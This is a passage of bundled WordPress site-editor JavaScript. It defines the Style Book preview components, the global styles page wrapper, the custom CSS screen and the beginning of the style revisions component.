    const secondParagraphBlock = (0,external_wp_blocks_namespaceObject.createBlock)('core/paragraph', {
      content: (0,external_wp_i18n_namespaceObject.__)(`Additionally, paragraphs help structure the flow of information and provide logical breaks between different concepts or pieces of information. In terms of formatting, paragraphs in websites are commonly denoted by a vertical gap or indentation between each block of text. This visual separation helps visually distinguish one paragraph from another, creating a clear and organized layout that guides the reader through the content smoothly.`)
    });
    if ((0,external_wp_blocks_namespaceObject.getBlockType)('core/group')) {
      const groupBlock = (0,external_wp_blocks_namespaceObject.createBlock)('core/group', {
        layout: {
          type: 'grid',
          columnCount: 2,
          minimumColumnWidth: '12rem'
        },
        style: {
          spacing: {
            blockGap: '1.5rem'
          }
        }
      }, [firstParagraphBlock, secondParagraphBlock]);
      typographyBlockExamples.push(groupBlock);
    } else {
      typographyBlockExamples.push(firstParagraphBlock);
    }
  }
  if (!!typographyBlockExamples.length) {
    examples.push({
      name: 'typography',
      title: (0,external_wp_i18n_namespaceObject.__)('Typography'),
      category: 'overview',
      blocks: typographyBlockExamples
    });
  }
  const otherBlockExamples = ['core/image', 'core/separator', 'core/buttons', 'core/pullquote', 'core/search'];

  // Get examples for other blocks and put them in order of above array.
  otherBlockExamples.forEach(blockName => {
    const blockType = (0,external_wp_blocks_namespaceObject.getBlockType)(blockName);
    if (blockType && blockType.example) {
      const blockExample = {
        name: blockName,
        title: blockType.title,
        category: 'overview',
        /*
         * CSS generated from style attributes will take precedence over global styles CSS,
         * so remove the style attribute from the example to ensure the example
         * demonstrates changes to global styles.
         */
        blocks: (0,external_wp_blocks_namespaceObject.getBlockFromExample)(blockName, {
          ...blockType.example,
          attributes: {
            ...blockType.example.attributes,
            style: undefined
          }
        })
      };
      examples.push(blockExample);
    }
  });
  return examples;
}

/**
 * Returns a list of examples for registered block types.
 *
 * @param {MultiOriginPalettes} colors Global styles colors grouped by origin e.g. Core, Theme, and User.
 * @return {BlockExample[]} An array of block examples.
 */
function getExamples(colors) {
  const nonHeadingBlockExamples = (0,external_wp_blocks_namespaceObject.getBlockTypes)().filter(blockType => {
    const {
      name,
      example,
      supports
    } = blockType;
    return name !== 'core/heading' && !!example && supports?.inserter !== false;
  }).map(blockType => ({
    name: blockType.name,
    title: blockType.title,
    category: blockType.category,
    /*
     * CSS generated from style attributes will take precedence over global styles CSS,
     * so remove the style attribute from the example to ensure the example
     * demonstrates changes to global styles.
     */
    blocks: (0,external_wp_blocks_namespaceObject.getBlockFromExample)(blockType.name, {
      ...blockType.example,
      attributes: {
        ...blockType.example.attributes,
        style: undefined
      }
    })
  }));
  const isHeadingBlockRegistered = !!(0,external_wp_blocks_namespaceObject.getBlockType)('core/heading');
  if (!isHeadingBlockRegistered) {
    return nonHeadingBlockExamples;
  }

  // Use our own example for the Heading block so that we can show multiple
  // heading levels.
  const headingsExample = {
    name: 'core/heading',
    title: (0,external_wp_i18n_namespaceObject.__)('Headings'),
    category: 'text',
    blocks: [1, 2, 3, 4, 5, 6].map(level => {
      return (0,external_wp_blocks_namespaceObject.createBlock)('core/heading', {
        content: (0,external_wp_i18n_namespaceObject.sprintf)(
        // translators: %d: heading level e.g: "1", "2", "3"
        (0,external_wp_i18n_namespaceObject.__)('Heading %d'), level),
        level
      });
    })
  };
  const colorExamples = getColorExamples(colors);
  const overviewBlockExamples = getOverviewBlockExamples(colors);
  return [headingsExample, ...colorExamples, ...nonHeadingBlockExamples, ...overviewBlockExamples];
}

;// ./node_modules/@wordpress/edit-site/build-module/components/page/header.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */

function Header({
  title,
  subTitle,
  actions
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
    className: "edit-site-page-header",
    as: "header",
    spacing: 0,
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
      className: "edit-site-page-header__page-title",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, {
        as: "h2",
        level: 3,
        weight: 500,
        className: "edit-site-page-header__title",
        truncate: true,
        children: title
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
        className: "edit-site-page-header__actions",
        children: actions
      })]
    }), subTitle && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
      variant: "muted",
      as: "p",
      className: "edit-site-page-header__sub-title",
      children: subTitle
    })]
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/page/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */



const {
  NavigableRegion: page_NavigableRegion
} = unlock(external_wp_editor_namespaceObject.privateApis);
function Page({
  title,
  subTitle,
  actions,
  children,
  className,
  hideTitleFromUI = false
}) {
  const classes = dist_clsx('edit-site-page', className);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(page_NavigableRegion, {
    className: classes,
    ariaLabel: title,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
      className: "edit-site-page-content",
      children: [!hideTitleFromUI && title && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Header, {
        title: title,
        subTitle: subTitle,
        actions: actions
      }), children]
    })
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-global-styles-wrapper/index.js
/**
 * WordPress dependencies
 */








/**
 * Internal dependencies
 */




const {
  useLocation: sidebar_global_styles_wrapper_useLocation,
  useHistory: sidebar_global_styles_wrapper_useHistory
} = unlock(external_wp_router_namespaceObject.privateApis);
const GlobalStylesPageActions = ({
  isStyleBookOpened,
  setIsStyleBookOpened,
  path
}) => {
  const history = sidebar_global_styles_wrapper_useHistory();
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
    isPressed: isStyleBookOpened,
    icon: library_seen,
    label: (0,external_wp_i18n_namespaceObject.__)('Style Book'),
    onClick: () => {
      setIsStyleBookOpened(!isStyleBookOpened);
      const updatedPath = !isStyleBookOpened ? (0,external_wp_url_namespaceObject.addQueryArgs)(path, {
        preview: 'stylebook'
      }) : (0,external_wp_url_namespaceObject.removeQueryArgs)(path, 'preview');
      // Navigate to the updated path.
      history.navigate(updatedPath);
    },
    size: "compact"
  });
};

/**
 * Hook to deal with navigation and location state.
 *
 * @return {Array}  The current section and a function to update it.
 */
const useSection = () => {
  const {
    path,
    query
  } = sidebar_global_styles_wrapper_useLocation();
  const history = sidebar_global_styles_wrapper_useHistory();
  return (0,external_wp_element_namespaceObject.useMemo)(() => {
    var _query$section;
    return [(_query$section = query.section) !== null && _query$section !== void 0 ? _query$section : '/', updatedSection => {
      history.navigate((0,external_wp_url_namespaceObject.addQueryArgs)(path, {
        section: updatedSection
      }));
    }];
  }, [path, query.section, history]);
};
function GlobalStylesUIWrapper() {
  const {
    path
  } = sidebar_global_styles_wrapper_useLocation();
  const [isStyleBookOpened, setIsStyleBookOpened] = (0,external_wp_element_namespaceObject.useState)(path.includes('preview=stylebook'));
  const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('medium', '<');
  const [section, onChangeSection] = useSection();
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Page, {
      actions: !isMobileViewport ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesPageActions, {
        isStyleBookOpened: isStyleBookOpened,
        setIsStyleBookOpened: setIsStyleBookOpened,
        path: path
      }) : null,
      className: "edit-site-styles",
      title: (0,external_wp_i18n_namespaceObject.__)('Styles'),
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(global_styles_ui, {
        path: section,
        onPathChange: onChangeSection
      })
    })
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/style-book/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */










/**
 * Internal dependencies
 */










const {
  ExperimentalBlockEditorProvider,
  useGlobalStyle: style_book_useGlobalStyle,
  GlobalStylesContext: style_book_GlobalStylesContext,
  useGlobalStylesOutputWithConfig
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const {
  mergeBaseAndUserConfigs: style_book_mergeBaseAndUserConfigs
} = unlock(external_wp_editor_namespaceObject.privateApis);
const {
  Tabs: style_book_Tabs
} = unlock(external_wp_components_namespaceObject.privateApis);
function isObjectEmpty(object) {
  return !object || Object.keys(object).length === 0;
}

/**
 * Scrolls to a section within an iframe.
 *
 * @param {string}            anchorId The id of the element to scroll to.
 * @param {HTMLIFrameElement} iframe   The target iframe.
 */
const scrollToSection = (anchorId, iframe) => {
  if (!anchorId || !iframe || !iframe?.contentDocument) {
    return;
  }
  const element = anchorId === 'top' ? iframe.contentDocument.body : iframe.contentDocument.getElementById(anchorId);
  if (element) {
    element.scrollIntoView({
      behavior: 'smooth'
    });
  }
};

/**
 * Parses a Block Editor navigation path to build a style book navigation path.
 * The object can be extended to include a category, representing a style book tab/section.
 *
 * @param {string} path An internal Block Editor navigation path.
 * @return {null|{block: string}} An object containing the example to navigate to.
 */
const getStyleBookNavigationFromPath = path => {
  if (path && typeof path === 'string') {
    if (path === '/' || path.startsWith('/typography') || path.startsWith('/colors') || path.startsWith('/blocks')) {
      return {
        top: true
      };
    }
  }
  return null;
};

/**
 * Retrieves colors, gradients, and duotone filters from Global Styles.
 * The inclusion of default (Core) palettes is controlled by the relevant
 * theme.json property e.g. defaultPalette, defaultGradients, defaultDuotone.
 *
 * @return {Object} Object containing properties for each type of palette.
 */
function useMultiOriginPalettes() {
  const {
    colors,
    gradients
  } = (0,external_wp_blockEditor_namespaceObject.__experimentalUseMultipleOriginColorsAndGradients)();

  // Add duotone filters to the palettes data.
  const [shouldDisplayDefaultDuotones, customDuotones, themeDuotones, defaultDuotones] = (0,external_wp_blockEditor_namespaceObject.useSettings)('color.defaultDuotone', 'color.duotone.custom', 'color.duotone.theme', 'color.duotone.default');
  const palettes = (0,external_wp_element_namespaceObject.useMemo)(() => {
    const result = {
      colors,
      gradients,
      duotones: []
    };
    if (themeDuotones && themeDuotones.length) {
      result.duotones.push({
        name: (0,external_wp_i18n_namespaceObject._x)('Theme', 'Indicates these duotone filters come from the theme.'),
        slug: 'theme',
        duotones: themeDuotones
      });
    }
    if (shouldDisplayDefaultDuotones && defaultDuotones && defaultDuotones.length) {
      result.duotones.push({
        name: (0,external_wp_i18n_namespaceObject._x)('Default', 'Indicates these duotone filters come from WordPress.'),
        slug: 'default',
        duotones: defaultDuotones
      });
    }
    if (customDuotones && customDuotones.length) {
      result.duotones.push({
        name: (0,external_wp_i18n_namespaceObject._x)('Custom', 'Indicates these doutone filters are created by the user.'),
        slug: 'custom',
        duotones: customDuotones
      });
    }
    return result;
  }, [colors, gradients, customDuotones, themeDuotones, defaultDuotones, shouldDisplayDefaultDuotones]);
  return palettes;
}

/**
 * Get deduped examples for single page stylebook.
 * @param {Array} examples Array of examples.
 * @return {Array} Deduped examples.
 */
function getExamplesForSinglePageUse(examples) {
  const examplesForSinglePageUse = [];
  const overviewCategoryExamples = getExamplesByCategory({
    slug: 'overview'
  }, examples);
  examplesForSinglePageUse.push(...overviewCategoryExamples.examples);
  const otherExamples = examples.filter(example => {
    return example.category !== 'overview' && !overviewCategoryExamples.examples.find(overviewExample => overviewExample.name === example.name);
  });
  examplesForSinglePageUse.push(...otherExamples);
  return examplesForSinglePageUse;
}
function StyleBook({
  enableResizing = true,
  isSelected,
  onClick,
  onSelect,
  showCloseButton = true,
  onClose,
  showTabs = true,
  userConfig = {},
  path = ''
}) {
  const [textColor] = style_book_useGlobalStyle('color.text');
  const [backgroundColor] = style_book_useGlobalStyle('color.background');
  const colors = useMultiOriginPalettes();
  const examples = (0,external_wp_element_namespaceObject.useMemo)(() => getExamples(colors), [colors]);
  const tabs = (0,external_wp_element_namespaceObject.useMemo)(() => getTopLevelStyleBookCategories().filter(category => examples.some(example => example.category === category.slug)), [examples]);
  const examplesForSinglePageUse = getExamplesForSinglePageUse(examples);
  const {
    base: baseConfig
  } = (0,external_wp_element_namespaceObject.useContext)(style_book_GlobalStylesContext);
  const goTo = getStyleBookNavigationFromPath(path);
  const mergedConfig = (0,external_wp_element_namespaceObject.useMemo)(() => {
    if (!isObjectEmpty(userConfig) && !isObjectEmpty(baseConfig)) {
      return style_book_mergeBaseAndUserConfigs(baseConfig, userConfig);
    }
    return {};
  }, [baseConfig, userConfig]);

  // Copied from packages/edit-site/src/components/revisions/index.js
  // could we create a shared hook?
  const originalSettings = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_blockEditor_namespaceObject.store).getSettings(), []);
  const [globalStyles] = useGlobalStylesOutputWithConfig(mergedConfig);
  const settings = (0,external_wp_element_namespaceObject.useMemo)(() => ({
    ...originalSettings,
    styles: !isObjectEmpty(globalStyles) && !isObjectEmpty(userConfig) ? globalStyles : originalSettings.styles,
    isPreviewMode: true
  }), [globalStyles, originalSettings, userConfig]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(editor_canvas_container, {
    onClose: onClose,
    enableResizing: enableResizing,
    closeButtonLabel: showCloseButton ? (0,external_wp_i18n_namespaceObject.__)('Close') : null,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: dist_clsx('edit-site-style-book', {
        'is-button': !!onClick
      }),
      style: {
        color: textColor,
        background: backgroundColor
      },
      children: showTabs ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(style_book_Tabs, {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
          className: "edit-site-style-book__tablist-container",
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(style_book_Tabs.TabList, {
            children: tabs.map(tab => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(style_book_Tabs.Tab, {
              tabId: tab.slug,
              children: tab.title
            }, tab.slug))
          })
        }), tabs.map(tab => {
          const categoryDefinition = tab.slug ? getTopLevelStyleBookCategories().find(_category => _category.slug === tab.slug) : null;
          const filteredExamples = categoryDefinition ? getExamplesByCategory(categoryDefinition, examples) : {
            examples
          };
          return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(style_book_Tabs.TabPanel, {
            tabId: tab.slug,
            focusable: false,
            className: "edit-site-style-book__tabpanel",
            children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(StyleBookBody, {
              category: tab.slug,
              examples: filteredExamples,
              isSelected: isSelected,
              onSelect: onSelect,
              settings: settings,
              title: tab.title,
              goTo: goTo
            })
          }, tab.slug);
        })]
      }) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(StyleBookBody, {
        examples: {
          examples: examplesForSinglePageUse
        },
        isSelected: isSelected,
        onClick: onClick,
        onSelect: onSelect,
        settings: settings,
        goTo: goTo
      })
    })
  });
}

/**
 * Style Book Preview component renders the stylebook without the Editor dependency.
 *
 * @param {Object}  props            Component props.
 * @param {Object}  props.userConfig User configuration.
 * @param {boolean} props.isStatic   Whether the stylebook is static or clickable.
 * @return {Object} Style Book Preview component.
 */
const StyleBookPreview = ({
  userConfig = {},
  isStatic = false
}) => {
  const siteEditorSettings = (0,external_wp_data_namespaceObject.useSelect)(select => select(store).getSettings(), []);
  const canUserUploadMedia = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).canUser('create', {
    kind: 'root',
    name: 'media'
  }), []);

  // Update block editor settings because useMultipleOriginColorsAndGradients fetch colours from there.
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    (0,external_wp_data_namespaceObject.dispatch)(external_wp_blockEditor_namespaceObject.store).updateSettings({
      ...siteEditorSettings,
      mediaUpload: canUserUploadMedia ? external_wp_mediaUtils_namespaceObject.uploadMedia : undefined
    });
  }, [siteEditorSettings, canUserUploadMedia]);
  const [section, onChangeSection] = useSection();
  const isSelected = blockName => {
    // Match '/blocks/core%2Fbutton' and
    // '/blocks/core%2Fbutton/typography', but not
    // '/blocks/core%2Fbuttons'.
    return section === `/blocks/${encodeURIComponent(blockName)}` || section.startsWith(`/blocks/${encodeURIComponent(blockName)}/`);
  };
  const onSelect = blockName => {
    if (STYLE_BOOK_COLOR_GROUPS.find(group => group.slug === blockName)) {
      // Go to color palettes Global Styles.
      onChangeSection('/colors/palette');
      return;
    }
    if (blockName === 'typography') {
      // Go to typography Global Styles.
      onChangeSection('/typography');
      return;
    }

    // Now go to the selected block.
    onChangeSection(`/blocks/${encodeURIComponent(blockName)}`);
  };
  const colors = useMultiOriginPalettes();
  const examples = getExamples(colors);
  const examplesForSinglePageUse = getExamplesForSinglePageUse(examples);
  let previewCategory = null;
  if (section.includes('/colors')) {
    previewCategory = 'colors';
  } else if (section.includes('/typography')) {
    previewCategory = 'text';
  } else if (section.includes('/blocks')) {
    previewCategory = 'blocks';
    const blockName = decodeURIComponent(section).split('/blocks/')[1];
    if (blockName && examples.find(example => example.name === blockName)) {
      previewCategory = blockName;
    }
  } else if (!isStatic) {
    previewCategory = 'overview';
  }
  const categoryDefinition = STYLE_BOOK_PREVIEW_CATEGORIES.find(category => category.slug === previewCategory);

  // If there's no category definition there may be a single block.
  const filteredExamples = categoryDefinition ? getExamplesByCategory(categoryDefinition, examples) : {
    examples: [examples.find(example => example.name === previewCategory)]
  };

  // If there's no preview category, show all examples.
  const displayedExamples = previewCategory ? filteredExamples : {
    examples: examplesForSinglePageUse
  };
  const {
    base: baseConfig
  } = (0,external_wp_element_namespaceObject.useContext)(style_book_GlobalStylesContext);
  const goTo = getStyleBookNavigationFromPath(section);
  const mergedConfig = (0,external_wp_element_namespaceObject.useMemo)(() => {
    if (!isObjectEmpty(userConfig) && !isObjectEmpty(baseConfig)) {
      return style_book_mergeBaseAndUserConfigs(baseConfig, userConfig);
    }
    return {};
  }, [baseConfig, userConfig]);
  const [globalStyles] = useGlobalStylesOutputWithConfig(mergedConfig);
  const settings = (0,external_wp_element_namespaceObject.useMemo)(() => ({
    ...siteEditorSettings,
    styles: !isObjectEmpty(globalStyles) && !isObjectEmpty(userConfig) ? globalStyles : siteEditorSettings.styles,
    isPreviewMode: true
  }), [globalStyles, siteEditorSettings, userConfig]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
    className: "edit-site-style-book",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.BlockEditorProvider, {
      settings: settings,
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesRenderer, {
        disableRootPadding: true
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(StyleBookBody, {
        examples: displayedExamples,
        settings: settings,
        goTo: goTo,
        isSelected: !isStatic ? isSelected : null,
        onSelect: !isStatic ? onSelect : null
      })]
    })
  });
};
const StyleBookBody = ({
  examples,
  isSelected,
  onClick,
  onSelect,
  settings,
  title,
  goTo
}) => {
  const [isFocused, setIsFocused] = (0,external_wp_element_namespaceObject.useState)(false);
  const [hasIframeLoaded, setHasIframeLoaded] = (0,external_wp_element_namespaceObject.useState)(false);
  const iframeRef = (0,external_wp_element_namespaceObject.useRef)(null);
  // The presence of an `onClick` prop indicates that the Style Book is being used as a button.
  // In this case, add additional props to the iframe to make it behave like a button.
  const buttonModeProps = {
    role: 'button',
    onFocus: () => setIsFocused(true),
    onBlur: () => setIsFocused(false),
    onKeyDown: event => {
      if (event.defaultPrevented) {
        return;
      }
      const {
        keyCode
      } = event;
      if (onClick && (keyCode === external_wp_keycodes_namespaceObject.ENTER || keyCode === external_wp_keycodes_namespaceObject.SPACE)) {
        event.preventDefault();
        onClick(event);
      }
    },
    onClick: event => {
      if (event.defaultPrevented) {
        return;
      }
      if (onClick) {
        event.preventDefault();
        onClick(event);
      }
    },
    readonly: true
  };
  const handleLoad = () => setHasIframeLoaded(true);
  (0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
    if (hasIframeLoaded && iframeRef?.current) {
      if (goTo?.top) {
        scrollToSection('top', iframeRef?.current);
      }
    }
  }, [iframeRef?.current, goTo, scrollToSection, hasIframeLoaded]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.__unstableIframe, {
    onLoad: handleLoad,
    ref: iframeRef,
    className: dist_clsx('edit-site-style-book__iframe', {
      'is-focused': isFocused && !!onClick,
      'is-button': !!onClick
    }),
    name: "style-book-canvas",
    tabIndex: 0,
    ...(onClick ? buttonModeProps : {}),
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__unstableEditorStyles, {
      styles: settings.styles
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("style", {
      children: [STYLE_BOOK_IFRAME_STYLES, !!onClick && 'body { cursor: pointer; } body * { pointer-events: none; }']
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Examples, {
      className: "edit-site-style-book__examples",
      filteredExamples: examples,
      label: title ? (0,external_wp_i18n_namespaceObject.sprintf)(
      // translators: %s: Category of blocks, e.g. Text.
      (0,external_wp_i18n_namespaceObject.__)('Examples of blocks in the %s category'), title) : (0,external_wp_i18n_namespaceObject.__)('Examples of blocks'),
      isSelected: isSelected,
      onSelect: onSelect
    }, title)]
  });
};
const Examples = (0,external_wp_element_namespaceObject.memo)(({
  className,
  filteredExamples,
  label,
  isSelected,
  onSelect
}) => {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Composite, {
    orientation: "vertical",
    className: className,
    "aria-label": label,
    role: "grid",
    children: [!!filteredExamples?.examples?.length && filteredExamples.examples.map(example => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Example, {
      id: `example-${example.name}`,
      title: example.title,
      content: example.content,
      blocks: example.blocks,
      isSelected: isSelected?.(example.name),
      onClick: !!onSelect ? () => onSelect(example.name) : null
    }, example.name)), !!filteredExamples?.subcategories?.length && filteredExamples.subcategories.map(subcategory => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Composite.Group, {
      className: "edit-site-style-book__subcategory",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Composite.GroupLabel, {
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h2", {
          className: "edit-site-style-book__subcategory-title",
          children: subcategory.title
        })
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Subcategory, {
        examples: subcategory.examples,
        isSelected: isSelected,
        onSelect: onSelect
      })]
    }, `subcategory-${subcategory.slug}`))]
  });
});
const Subcategory = ({
  examples,
  isSelected,
  onSelect
}) => {
  return !!examples?.length && examples.map(example => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Example, {
    id: `example-${example.name}`,
    title: example.title,
    content: example.content,
    blocks: example.blocks,
    isSelected: isSelected?.(example.name),
    onClick: !!onSelect ? () => onSelect(example.name) : null
  }, example.name));
};
const disabledExamples = ['example-duotones'];
const Example = ({
  id,
  title,
  blocks,
  isSelected,
  onClick,
  content
}) => {
  const originalSettings = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_blockEditor_namespaceObject.store).getSettings(), []);
  const settings = (0,external_wp_element_namespaceObject.useMemo)(() => ({
    ...originalSettings,
    focusMode: false,
    // Disable "Spotlight mode".
    isPreviewMode: true
  }), [originalSettings]);

  // Cache the list of blocks to avoid additional processing when the component is re-rendered.
  const renderedBlocks = (0,external_wp_element_namespaceObject.useMemo)(() => Array.isArray(blocks) ? blocks : [blocks], [blocks]);
  const disabledProps = disabledExamples.includes(id) || !onClick ? {
    disabled: true,
    accessibleWhenDisabled: !!onClick
  } : {};
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
    role: "row",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      role: "gridcell",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Composite.Item, {
        className: dist_clsx('edit-site-style-book__example', {
          'is-selected': isSelected,
          'is-disabled-example': !!disabledProps?.disabled
        }),
        id: id,
        "aria-label": !!onClick ? (0,external_wp_i18n_namespaceObject.sprintf)(
        // translators: %s: Title of a block, e.g. Heading.
        (0,external_wp_i18n_namespaceObject.__)('Open %s styles in Styles panel'), title) : undefined,
        render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {}),
        role: !!onClick ? 'button' : null,
        onClick: onClick,
        ...disabledProps,
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
          className: "edit-site-style-book__example-title",
          children: title
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
          className: "edit-site-style-book__example-preview",
          "aria-hidden": true,
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Disabled, {
            className: "edit-site-style-book__example-preview__content",
            children: content ? content : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(ExperimentalBlockEditorProvider, {
              value: renderedBlocks,
              settings: settings,
              children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__unstableEditorStyles, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockList, {
                renderAppender: false
              })]
            })
          })
        })]
      })
    })
  });
};
/* harmony default export */ const style_book = (StyleBook);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-css.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */




const {
  useGlobalStyle: screen_css_useGlobalStyle,
  AdvancedPanel: screen_css_StylesAdvancedPanel
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function ScreenCSS() {
  const description = (0,external_wp_i18n_namespaceObject.__)('Add your own CSS to customize the appearance and layout of your site.');
  const [style] = screen_css_useGlobalStyle('', undefined, 'user', {
    shouldDecodeEncode: false
  });
  const [inheritedStyle, setStyle] = screen_css_useGlobalStyle('', undefined, 'all', {
    shouldDecodeEncode: false
  });
  const {
    setEditorCanvasContainerView
  } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(header, {
      title: (0,external_wp_i18n_namespaceObject.__)('CSS'),
      description: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
        children: [description, /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("br", {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ExternalLink, {
          href: (0,external_wp_i18n_namespaceObject.__)('https://developer.wordpress.org/advanced-administration/wordpress/css/'),
          className: "edit-site-global-styles-screen-css-help-link",
          children: (0,external_wp_i18n_namespaceObject.__)('Learn more about CSS')
        })]
      }),
      onBack: () => {
        setEditorCanvasContainerView(undefined);
      }
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "edit-site-global-styles-screen-css",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_css_StylesAdvancedPanel, {
        value: style,
        onChange: setStyle,
        inheritedValue: inheritedStyle
      })
    })]
  });
}
/* harmony default export */ const screen_css = (ScreenCSS);

;// ./node_modules/@wordpress/edit-site/build-module/components/revisions/index.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */




const {
  ExperimentalBlockEditorProvider: revisions_ExperimentalBlockEditorProvider,
  GlobalStylesContext: revisions_GlobalStylesContext,
  useGlobalStylesOutputWithConfig: revisions_useGlobalStylesOutputWithConfig,
  __unstableBlockStyleVariationOverridesWithConfig
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const {
  mergeBaseAndUserConfigs: revisions_mergeBaseAndUserConfigs
} = unlock(external_wp_editor_namespaceObject.privateApis);
function revisions_isObjectEmpty(object) {
  return !object || Object.keys(object).length === 0;
}
function Revisions({
  userConfig,
  blocks
}) {
  const {
    base: baseConfig
  } = (0,external_wp_element_namespaceObject.useContext)(revisions_GlobalStylesContext);
  const mergedConfig = (0,external_wp_element_namespaceObject.useMemo)(() => {
    if (!revisions_isObjectEmpty(userConfig) && !revisions_isObjectEmpty(baseConfig)) {
      return revisions_mergeBaseAndUserConfigs(baseConfig, userConfig);
    }
    return {};
  }, [baseConfig, userConfig]);
  const renderedBlocksArray = (0,external_wp_element_namespaceObject.useMemo)(() => Array.isArray(blocks) ? blocks : [blocks], [blocks]);
  const originalSettings = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_blockEditor_namespaceObject.store).getSettings(), []);
  const settings = (0,external_wp_element_namespaceObject.useMemo)(() => ({
